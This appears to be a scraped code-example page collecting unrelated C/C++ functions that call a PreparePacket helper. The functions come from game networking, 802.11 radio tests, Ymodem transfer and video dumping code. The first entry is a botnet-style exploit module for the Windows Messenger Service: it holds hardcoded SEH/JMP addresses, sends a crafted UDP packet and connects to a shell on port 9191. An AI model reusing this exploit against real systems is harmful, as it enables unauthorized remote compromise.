Exemple #1
0
BOOL MessengerService(EXINFO exinfo)
{
    int sockUDP,ver,packetsz;
    unsigned char packet[8192];
    struct sockaddr_in targetUDP;

    struct
    {
        char os[30];
        DWORD SEH;
        DWORD JMP;
    } targetOS[] =
        {
            {
                "Windows 2000 SP 3 (en)",
                0x77ee044c, // unhandledexceptionfilter pointer
                0x768d693e // cryptsvc.dll call [esi+48] 0x768d693e
            },
            {
                "Windows XP SP 1 (en)",
                0x77ed73b4,
                0x7804bf52 //rpcrt4.dll call [edi+6c]
            }
        };

    int TargetOS = FpHost(exinfo.ip, FP_RPC);
    if ((TargetOS == OS_WINNT) || (TargetOS == OS_UNKNOWN)) return FALSE;
    if (TargetOS == OS_WIN2K) ver = 0;
    if (TargetOS == OS_WINXP) ver = 1;
    ZeroMemory(&targetUDP, sizeof(targetUDP));

    targetUDP.sin_family = AF_INET;
    targetUDP.sin_addr.s_addr = finet_addr(exinfo.ip);
    targetUDP.sin_port = fhtons(exinfo.port);


    packetsz = PreparePacket((char*)packet,sizeof(packet),targetOS[ver].JMP,targetOS[ver].SEH);


    if ((sockUDP = fsocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
    {
        return FALSE;
    }

    if (fsendto(sockUDP, (char*)packet, packetsz, 0, (struct sockaddr *)&targetUDP, sizeof(targetUDP)) == -1)
    {
        return FALSE;
    }
    fclosesocket(sockUDP);
	Sleep(500);
    if (ConnectShellEx(exinfo, 9191) == true) {
        exploit[exinfo.exploit].stats++;
        return TRUE;
    }
    return FALSE;
}
void CPickupSendPackets::SetRespawnTime( unsigned char uc )
{
	RakNet::BitStream bs;

	PreparePacket(ID_PICKUP_SETRESPAWNTIME, bs);

	bs.WriteCompressed( uc );

	CNet::GetInterface()->Send(&bs, HIGH_PRIORITY, RELIABLE, 0);
}
Exemple #3
0
int TestMod11A(PDOT11_MOD_ARGS pArgs)
{
    BB11A_TX_VECTOR      TxVector;
    BB11ATxContextInit(&TxVector, pArgs->SampleRate);

    if (!Dot11ARate_KbpsValid(pArgs->nBitRate))
    {
        printf("Data rate %d kbps is not supported by 802.11a mode\n", pArgs->nBitRate);
        return -1;
    }
    TxVector.ti_uiDataRate = Dot11ADataRate_Kbps2Code(pArgs->nBitRate);

    if (PreparePacket(pArgs->pcInFileName, &Mdl, &Packet, DataBuffer, SymbolBuffer, SYMBOLBUF_SIZE) < 0)
        return -1;

    TIMINGINFO  ti;
    double dTimeSum = 0.0;

    // Cache warm-up for first 2 rounds
    for (int i = 0; i < 2; i++)
    {
        BB11ATxFrameMod(&TxVector, &Packet);
    }

    // Measure modulation speed for many rounds
    TimerStart(&ti);
    for (int i = 0; i < RUN_TIMES; i++)
    {
        BB11ATxFrameMod(&TxVector, &Packet);
    }
    TimerStop(&ti);
    dTimeSum = TimerRead(&ti) * 1000;

    printf("Signal data rate:    %d kbps\n", Dot11ADataRate_Code2Kbps(TxVector.ti_uiDataRate));
    printf("Signal packet size:  %d\n", Packet.PacketSize);
    printf("Signal encoded size: %d\n", Packet.Reserved3);
    printf("Time cost average:   %.3f us \n", dTimeSum / RUN_TIMES);

    FILE* pOut = NULL;
#pragma warning (push)
#pragma warning (disable:4996)
    pOut = fopen(pArgs->pcOutFileName, "w+b");
#pragma warning (pop)
    if (!pOut)
    {
        printf("Cannot create output file.\n");
        return -1;
    }

    fwrite(Packet.pReserved, Packet.Reserved3, 1, pOut);
    fclose(pOut);

    return 0;
}
void CPickupSendPackets::CreatePickup( unsigned int ui, float fX, float fY, float fZ )
{
	RakNet::BitStream bs;

	PreparePacket(ID_PICKUP_CREATEPICKUP, bs);

	bs.Write(ui);
	bs.WriteVector(fX, fY, fZ);

	CNet::GetInterface()->Send(&bs, HIGH_PRIORITY, RELIABLE, 0);
}
Exemple #5
0
void Dot11ATxApp(const Config& config)
{
    SampleBufferSize = _M(2);
    SampleBuffer = SoraUAllocBuffer(SampleBufferSize);
	printf("tx buffer: %08x\n", SampleBuffer);
	printf("tx buffer size: %08x\n", SampleBufferSize);
	if (SampleBuffer == NULL) return;

	PreparePacket(config, (PVOID)SampleBuffer, (ULONG)SampleBufferSize);

    HRESULT hr;
	do
	{
		//Generate Signal
		hr = BB11ATxFrameMod(&TxVector, &Packet);
		printf("GenSignal return %08x\n", hr);
		printf("Signal bytes = %d\n", Packet.Reserved3);

        /*{
            PCOMPLEX8 pSampleBuffer = (PCOMPLEX8)SampleBuffer;
            for (i = 0; i < Packet.Reserved3; i++)
                printf("(%5d, %5d)\t", pSampleBuffer[i].re, pSampleBuffer[i].im);
            printf("\n");
        }*/

		hr = SoraURadioTransferEx(TARGET_RADIO, SampleBuffer, Packet.Reserved3, &TxID);
		printf("transfer, hr=%08x, id=%d\n", hr, TxID);
        FAILED_BREAK(hr);

        Monitor monitor;
        TxContext ctx(config, monitor);
        HANDLE hTxThread = AllocStartThread(DoDot11ATx, &ctx);

		if (SUCCEEDED(hr) && hTxThread)
		{
            printf("\n\nPress any key to exit the program\n");			
            time_t start = time(NULL);
	        while(!_kbhit())
            {
                if (config.Interval() != 0 && difftime(time(NULL), start) >= config.Interval()) break;
	        }

            StopFreeThread(hTxThread);
			hr = SoraURadioTxFree(TARGET_RADIO, TxID);
			printf("tx free return %08x\n", hr);
		}
	} while (FALSE);

	SoraUReleaseBuffer((PVOID)SampleBuffer);
	printf("unmap tx buffer ret: %08x\n", hr);

	printf("Tx out.\n");
}
void CPickupSendPackets::RespawnPickup( unsigned int ui )
{
	CPickupPool* pPickup = CPickupPoolManager::Find( ui );
	if ( pPickup )
	{
		RakNet::BitStream bs;

		PreparePacket(ID_PICKUP_RESPAWNPICKUP, bs);

		bs.Write(ui);

		CNet::GetInterface()->Send(&bs, HIGH_PRIORITY, RELIABLE, 0);
	}
}
Exemple #7
0
int TestMod11B(PDOT11_MOD_ARGS pArgs)
{
    MDL                                 Mdl;
    PACKET_BASE                         Packet;
    DOT11B_PLCP_TXVECTOR                Dot11BTxVector;
    Dot11BTxVector.PreambleType         = DOT11B_PLCP_IS_LONG_PREAMBLE;
    Dot11BTxVector.ModSelect            = DOT11B_PLCP_IS_CCK;

    if (!Dot11BRate_KbpsValid(pArgs->nBitRate))
    {
        printf("Data rate %d kbps is not supported by 802.11b mode\n", pArgs->nBitRate);
        return -1;
    }
    Dot11BTxVector.DateRate = Dot11BDataRate_Kbps2Code(pArgs->nBitRate);

    // Measure modulation speed
    const int RUN_TIMES = 100;
	ULONGLONG ts1 = SoraGetCPUTimestamp ( &tsinfo );
    for (int ii = 0; ii < RUN_TIMES; ii++)
    {
        if (PreparePacket(pArgs->pcInFileName, &Mdl, &Packet, DataBuffer, (PUCHAR)SymbolBuffer, SAMPLE_BUFFER_SIZE) < 0)
            return -1;
        // Note: BB11BPMDPacketGenSignal() will modify Packet.pMdl and Packet.pReserved (data crc)
        //   so if run multiple times, please reload these data before calling it.
        BB11BPMDPacketGenSignal(&Packet, &Dot11BTxVector, (PUCHAR)TempBuffer, sizeof(TempBuffer)/sizeof(COMPLEX8));
    }
	ULONGLONG ts2 = SoraGetCPUTimestamp ( &tsinfo );

    printf("Signal data rate:    %d kbps\n", Dot11BDataRate_Code2Kbps(Dot11BTxVector.DateRate));
    printf("Signal packet size:  %d\n", Packet.PacketSize);
    printf("Signal encoded size: %d\n", Packet.Reserved3);
    printf("Time cost average:   %.3f us \n", SoraTimeElapsed (ts2-ts1, &tsinfo) * 1.0 / 1000 / RUN_TIMES);

    FILE* pOut = NULL;
#pragma warning (push)
#pragma warning (disable:4996)
    pOut = fopen(pArgs->pcOutFileName, "w+b");
#pragma warning (pop)
    if (!pOut)
    {
        printf("Cannot create output file.\n");
        return -1;
    }

    fwrite(Packet.pReserved, Packet.Reserved3, 1, pOut);
    fclose(pOut);

    return 0;
}
void CPickupSendPackets::SetPickupRespawnTime( unsigned int ui, unsigned char uc )
{
	CPickupPool* pPickup = CPickupPoolManager::Find( ui );
	if ( pPickup )
	{
		RakNet::BitStream bs;

		PreparePacket(ID_PICKUP_SETPICKUPRESPAWNTIME, bs);

		bs.Write( ui );
		bs.WriteCompressed( uc );

		CNet::GetInterface()->Send(&bs, HIGH_PRIORITY, RELIABLE, 0);
	}
}
void CPickupSendPackets::SetOnlyOnce( unsigned int ui, bool b )
{
	CPickupPool* pPickup = CPickupPoolManager::Find( ui );
	if ( pPickup )
	{
		RakNet::BitStream bs;

		PreparePacket(ID_PICKUP_PICKUPONCE, bs);

		bs.Write( ui );
		bs.Write( b );

		CNet::GetInterface()->Send(&bs, HIGH_PRIORITY, RELIABLE, 0);
	}
}
void CPickupSendPackets::RespawnPickupForPlayer( unsigned char uc, unsigned int ui )
{
	CPlayerPool* pPlayer = CPlayerPoolManager::Find( ui );
	if ( pPlayer )
	{
		CPickupPool* pPickup = CPickupPoolManager::Find( ui );
		if ( pPickup )
		{
			RakNet::BitStream bs;

			PreparePacket(ID_PICKUP_RESPAWNPICKUPFORPLAYER, bs);

			bs.WriteCompressed( uc );
			bs.Write( ui );

			CNet::GetInterface()->Send(&bs, HIGH_PRIORITY, RELIABLE, 0);
		}
	}
}
Exemple #11
0
static void HandleDelayedPackets()
{
  AVPacket pkt;

  while (true)
  {
    PreparePacket(&pkt);
    int got_packet;
    int error = ReceivePacket(s_codec_context, &pkt, &got_packet);
    if (error)
    {
      ERROR_LOG(VIDEO, "Error while stopping video: %d", error);
      break;
    }

    if (!got_packet)
      break;

    WritePacket(pkt);
  }
}
/**
  * @brief  Transmit a file using the ymodem protocol
  * @param  p_buf: Address of the first byte
  * @param  p_file_name: Name of the file sent
  * @param  file_size: Size of the transmission
  * @retval COM_StatusTypeDef result of the communication
  */
COM_StatusTypeDef Ymodem_Transmit (uint8_t *p_buf, const uint8_t *p_file_name, uint32_t file_size)
{
  uint32_t errors = 0, ack_recpt = 0, size = 0, pkt_size;
  uint8_t *p_buf_int;
  COM_StatusTypeDef result = COM_OK;
  uint32_t blk_number = 1;
  uint8_t a_rx_ctrl[2];
  uint8_t i;
#ifdef CRC16_F    
  uint32_t temp_crc;
#else /* CRC16_F */   
  uint8_t temp_chksum;
#endif /* CRC16_F */  

  /* Prepare first block - header */
  PrepareIntialPacket(aPacketData, p_file_name, file_size);

  while (( !ack_recpt ) && ( result == COM_OK ))
  {
    /* Send Packet */
    HAL_UART_Transmit(&UartHandle, &aPacketData[PACKET_START_INDEX], PACKET_SIZE + PACKET_HEADER_SIZE, NAK_TIMEOUT);

    /* Send CRC or Check Sum based on CRC16_F */
#ifdef CRC16_F    
    temp_crc = Cal_CRC16(&aPacketData[PACKET_DATA_INDEX], PACKET_SIZE);
    Serial_PutByte(temp_crc >> 8);
    Serial_PutByte(temp_crc & 0xFF);
#else /* CRC16_F */   
    temp_chksum = CalcChecksum (&aPacketData[PACKET_DATA_INDEX], PACKET_SIZE);
    Serial_PutByte(temp_chksum);
#endif /* CRC16_F */

    /* Wait for Ack and 'C' */
    if (HAL_UART_Receive(&UartHandle, &a_rx_ctrl[0], 1, NAK_TIMEOUT) == HAL_OK)
    {
      if (a_rx_ctrl[0] == ACK)
      {
        ack_recpt = 1;
      }
      else if (a_rx_ctrl[0] == CA)
      {
        if ((HAL_UART_Receive(&UartHandle, &a_rx_ctrl[0], 1, NAK_TIMEOUT) == HAL_OK) && (a_rx_ctrl[0] == CA))
        {
          HAL_Delay( 2 );
          __HAL_UART_FLUSH_DRREGISTER(&UartHandle);
          result = COM_ABORT;
        }
      }
    }
    else
    {
      errors++;
    }
    if (errors >= MAX_ERRORS)
    {
      result = COM_ERROR;
    }
  }

  p_buf_int = p_buf;
  size = file_size;

  /* Here 1024 bytes length is used to send the packets */
  while ((size) && (result == COM_OK ))
  {
    /* Prepare next packet */
    PreparePacket(p_buf_int, aPacketData, blk_number, size);
    ack_recpt = 0;
    a_rx_ctrl[0] = 0;
    errors = 0;

    /* Resend packet if NAK for few times else end of communication */
    while (( !ack_recpt ) && ( result == COM_OK ))
    {
      /* Send next packet */
      if (size >= PACKET_1K_SIZE)
      {
        pkt_size = PACKET_1K_SIZE;
      }
      else
      {
        pkt_size = PACKET_SIZE;
      }

      HAL_UART_Transmit(&UartHandle, &aPacketData[PACKET_START_INDEX], pkt_size + PACKET_HEADER_SIZE, NAK_TIMEOUT);
      
      /* Send CRC or Check Sum based on CRC16_F */
#ifdef CRC16_F    
      temp_crc = Cal_CRC16(&aPacketData[PACKET_DATA_INDEX], pkt_size);
      Serial_PutByte(temp_crc >> 8);
      Serial_PutByte(temp_crc & 0xFF);
#else /* CRC16_F */   
      temp_chksum = CalcChecksum (&aPacketData[PACKET_DATA_INDEX], pkt_size);
      Serial_PutByte(temp_chksum);
#endif /* CRC16_F */
      
      /* Wait for Ack */
      if ((HAL_UART_Receive(&UartHandle, &a_rx_ctrl[0], 1, NAK_TIMEOUT) == HAL_OK) && (a_rx_ctrl[0] == ACK))
      {
        ack_recpt = 1;
        if (size > pkt_size)
        {
          p_buf_int += pkt_size;
          size -= pkt_size;
          if (blk_number == (USER_FLASH_SIZE / PACKET_1K_SIZE))
          {
            result = COM_LIMIT; /* boundary error */
          }
          else
          {
            blk_number++;
          }
        }
        else
        {
          p_buf_int += pkt_size;
          size = 0;
        }
      }
      else
      {
        errors++;
      }

      /* Resend packet if NAK  for a count of 10 else end of communication */
      if (errors >= MAX_ERRORS)
      {
        result = COM_ERROR;
      }
    }
  }

  /* Sending End Of Transmission char */
  ack_recpt = 0;
  a_rx_ctrl[0] = 0x00;
  errors = 0;
  while (( !ack_recpt ) && ( result == COM_OK ))
  {
    Serial_PutByte(EOT);

    /* Wait for Ack */
    if (HAL_UART_Receive(&UartHandle, &a_rx_ctrl[0], 1, NAK_TIMEOUT) == HAL_OK)
    {
      if (a_rx_ctrl[0] == ACK)
      {
        ack_recpt = 1;
      }
      else if (a_rx_ctrl[0] == CA)
      {
        if ((HAL_UART_Receive(&UartHandle, &a_rx_ctrl[0], 1, NAK_TIMEOUT) == HAL_OK) && (a_rx_ctrl[0] == CA))
        {
          HAL_Delay( 2 );
          __HAL_UART_FLUSH_DRREGISTER(&UartHandle);
          result = COM_ABORT;
        }
      }
    }
    else
    {
      errors++;
    }

    if (errors >=  MAX_ERRORS)
    {
      result = COM_ERROR;
    }
  }

  /* Empty packet sent - some terminal emulators need this to close session */
  if ( result == COM_OK )
  {
    /* Preparing an empty packet */
    aPacketData[PACKET_START_INDEX] = SOH;
    aPacketData[PACKET_NUMBER_INDEX] = 0;
    aPacketData[PACKET_CNUMBER_INDEX] = 0xFF;
    for (i = PACKET_DATA_INDEX; i < (PACKET_SIZE + PACKET_DATA_INDEX); i++)
    {
      aPacketData [i] = 0x00;
    }

    /* Send Packet */
    HAL_UART_Transmit(&UartHandle, &aPacketData[PACKET_START_INDEX], PACKET_SIZE + PACKET_HEADER_SIZE, NAK_TIMEOUT);

    /* Send CRC or Check Sum based on CRC16_F */
#ifdef CRC16_F    
    temp_crc = Cal_CRC16(&aPacketData[PACKET_DATA_INDEX], PACKET_SIZE);
    Serial_PutByte(temp_crc >> 8);
    Serial_PutByte(temp_crc & 0xFF);
#else /* CRC16_F */   
    temp_chksum = CalcChecksum (&aPacketData[PACKET_DATA_INDEX], PACKET_SIZE);
    Serial_PutByte(temp_chksum);
#endif /* CRC16_F */

    /* Wait for Ack and 'C' */
    if (HAL_UART_Receive(&UartHandle, &a_rx_ctrl[0], 1, NAK_TIMEOUT) == HAL_OK)
    {
      if (a_rx_ctrl[0] == CA)
      {
          HAL_Delay( 2 );
          __HAL_UART_FLUSH_DRREGISTER(&UartHandle);
          result = COM_ABORT;
      }
    }
  }
Exemple #13
0
void AVIDump::AddFrame(const u8* data, int width, int height, int stride, const Frame& state)
{
  // Assume that the timing is valid, if the savestate id of the new frame
  // doesn't match the last one.
  if (state.savestate_index != s_last_savestate_index)
  {
    s_last_savestate_index = state.savestate_index;
    s_last_frame_is_valid = false;
  }

  CheckResolution(width, height);
  s_src_frame->data[0] = const_cast<u8*>(data);
  s_src_frame->linesize[0] = stride;
  s_src_frame->format = s_pix_fmt;
  s_src_frame->width = s_width;
  s_src_frame->height = s_height;

  // Convert image from {BGR24, RGBA} to desired pixel format
  if ((s_sws_context =
           sws_getCachedContext(s_sws_context, width, height, s_pix_fmt, s_width, s_height,
                                s_stream->codec->pix_fmt, SWS_BICUBIC, nullptr, nullptr, nullptr)))
  {
    sws_scale(s_sws_context, s_src_frame->data, s_src_frame->linesize, 0, height,
              s_scaled_frame->data, s_scaled_frame->linesize);
  }

  // Encode and write the image.
  AVPacket pkt;
  PreparePacket(&pkt);
  int got_packet = 0;
  int error = 0;
  u64 delta;
  s64 last_pts;
  // Check to see if the first frame being dumped is the first frame of output from the emulator.
  // This prevents an issue with starting dumping later in emulation from placing the frames
  // incorrectly.
  if (!s_last_frame_is_valid)
  {
    s_last_frame = state.ticks;
    s_last_frame_is_valid = true;
  }
  if (!s_start_dumping && state.first_frame)
  {
    delta = state.ticks;
    last_pts = AV_NOPTS_VALUE;
    s_start_dumping = true;
  }
  else
  {
    delta = state.ticks - s_last_frame;
    last_pts = (s_last_pts * s_stream->codec->time_base.den) / state.ticks_per_second;
  }
  u64 pts_in_ticks = s_last_pts + delta;
  s_scaled_frame->pts = (pts_in_ticks * s_stream->codec->time_base.den) / state.ticks_per_second;
  if (s_scaled_frame->pts != last_pts)
  {
    s_last_frame = state.ticks;
    s_last_pts = pts_in_ticks;
    error = avcodec_encode_video2(s_stream->codec, &pkt, s_scaled_frame, &got_packet);
  }
  while (!error && got_packet)
  {
    // Write the compressed frame in the media file.
    if (pkt.pts != (s64)AV_NOPTS_VALUE)
    {
      pkt.pts = av_rescale_q(pkt.pts, s_stream->codec->time_base, s_stream->time_base);
    }
    if (pkt.dts != (s64)AV_NOPTS_VALUE)
    {
      pkt.dts = av_rescale_q(pkt.dts, s_stream->codec->time_base, s_stream->time_base);
    }
#if LIBAVCODEC_VERSION_INT < AV_VERSION_INT(56, 60, 100)
    if (s_stream->codec->coded_frame->key_frame)
      pkt.flags |= AV_PKT_FLAG_KEY;
#endif
    pkt.stream_index = s_stream->index;
    av_interleaved_write_frame(s_format_context, &pkt);

    // Handle delayed frames.
    PreparePacket(&pkt);
    error = avcodec_encode_video2(s_stream->codec, &pkt, nullptr, &got_packet);
  }
  if (error)
    ERROR_LOG(VIDEO, "Error while encoding video: %d", error);
}
Exemple #14
0
void AVIDump::AddFrame(const u8* data, int width, int height)
{
	avpicture_fill((AVPicture*)s_src_frame, const_cast<u8*>(data), AV_PIX_FMT_BGR24, width, height);

	// Convert image from BGR24 to desired pixel format, and scale to initial
	// width and height
	if ((s_sws_context = sws_getCachedContext(s_sws_context,
	                                          width, height, AV_PIX_FMT_BGR24,
	                                          s_width, s_height, s_stream->codec->pix_fmt,
	                                          SWS_BICUBIC, nullptr, nullptr, nullptr)))
	{
		sws_scale(s_sws_context, s_src_frame->data, s_src_frame->linesize, 0,
		          height, s_scaled_frame->data, s_scaled_frame->linesize);
	}

	s_scaled_frame->format = s_stream->codec->pix_fmt;
	s_scaled_frame->width = s_width;
	s_scaled_frame->height = s_height;

	// Encode and write the image.
	AVPacket pkt;
	PreparePacket(&pkt);
	int got_packet = 0;
	int error = 0;
	u64 delta;
	s64 last_pts;
	if (!s_start_dumping && s_last_frame <= SystemTimers::GetTicksPerSecond())
	{
		delta = CoreTiming::GetTicks();
		last_pts = AV_NOPTS_VALUE;
		s_start_dumping = true;
	}
	else
	{
		delta = CoreTiming::GetTicks() - s_last_frame;
		last_pts = (s_last_pts * s_stream->codec->time_base.den) / SystemTimers::GetTicksPerSecond();
	}
	u64 pts_in_ticks = s_last_pts + delta;
	s_scaled_frame->pts = (pts_in_ticks * s_stream->codec->time_base.den) / SystemTimers::GetTicksPerSecond();
	if (s_scaled_frame->pts != last_pts)
	{
		s_last_frame = CoreTiming::GetTicks();
		s_last_pts = pts_in_ticks;
		error = avcodec_encode_video2(s_stream->codec, &pkt, s_scaled_frame, &got_packet);
	}
	while (!error && got_packet)
	{
		// Write the compressed frame in the media file.
		if (pkt.pts != (s64)AV_NOPTS_VALUE)
		{
			pkt.pts = av_rescale_q(pkt.pts,
			                       s_stream->codec->time_base, s_stream->time_base);
		}
		if (pkt.dts != (s64)AV_NOPTS_VALUE)
		{
			pkt.dts = av_rescale_q(pkt.dts,
			                       s_stream->codec->time_base, s_stream->time_base);
		}
#if LIBAVCODEC_VERSION_INT < AV_VERSION_INT(56, 60, 100)
		if (s_stream->codec->coded_frame->key_frame)
			pkt.flags |= AV_PKT_FLAG_KEY;
#endif
		pkt.stream_index = s_stream->index;
		av_interleaved_write_frame(s_format_context, &pkt);

		// Handle delayed frames.
		PreparePacket(&pkt);
		error = avcodec_encode_video2(s_stream->codec, &pkt, nullptr, &got_packet);
	}
	if (error)
		ERROR_LOG(VIDEO, "Error while encoding video: %d", error);
}
Exemple #15
0
void AVIDump::AddFrame(const u8* data, int width, int height, int stride, const Frame& state)
{
  // Assume that the timing is valid, if the savestate id of the new frame
  // doesn't match the last one.
  if (state.savestate_index != s_last_savestate_index)
  {
    s_last_savestate_index = state.savestate_index;
    s_last_frame_is_valid = false;
  }

  CheckResolution(width, height);
  s_src_frame->data[0] = const_cast<u8*>(data);
  s_src_frame->linesize[0] = stride;
  s_src_frame->format = s_pix_fmt;
  s_src_frame->width = s_width;
  s_src_frame->height = s_height;

  // Convert image from {BGR24, RGBA} to desired pixel format
  s_sws_context =
      sws_getCachedContext(s_sws_context, width, height, s_pix_fmt, s_width, s_height,
                           s_codec_context->pix_fmt, SWS_BICUBIC, nullptr, nullptr, nullptr);
  if (s_sws_context)
  {
    sws_scale(s_sws_context, s_src_frame->data, s_src_frame->linesize, 0, height,
              s_scaled_frame->data, s_scaled_frame->linesize);
  }

  // Encode and write the image.
  AVPacket pkt;
  PreparePacket(&pkt);
  int got_packet = 0;
  int error = 0;
  u64 delta;
  s64 last_pts;
  // Check to see if the first frame being dumped is the first frame of output from the emulator.
  // This prevents an issue with starting dumping later in emulation from placing the frames
  // incorrectly.
  if (!s_last_frame_is_valid)
  {
    s_last_frame = state.ticks;
    s_last_frame_is_valid = true;
  }
  if (!s_start_dumping && state.first_frame)
  {
    delta = state.ticks;
    last_pts = AV_NOPTS_VALUE;
    s_start_dumping = true;
  }
  else
  {
    delta = state.ticks - s_last_frame;
    last_pts = (s_last_pts * s_codec_context->time_base.den) / state.ticks_per_second;
  }
  u64 pts_in_ticks = s_last_pts + delta;
  s_scaled_frame->pts = (pts_in_ticks * s_codec_context->time_base.den) / state.ticks_per_second;
  if (s_scaled_frame->pts != last_pts)
  {
    s_last_frame = state.ticks;
    s_last_pts = pts_in_ticks;
    error = SendFrameAndReceivePacket(s_codec_context, &pkt, s_scaled_frame, &got_packet);
  }
  if (!error && got_packet)
  {
    WritePacket(pkt);
  }
  if (error)
    ERROR_LOG(VIDEO, "Error while encoding video: %d", error);
}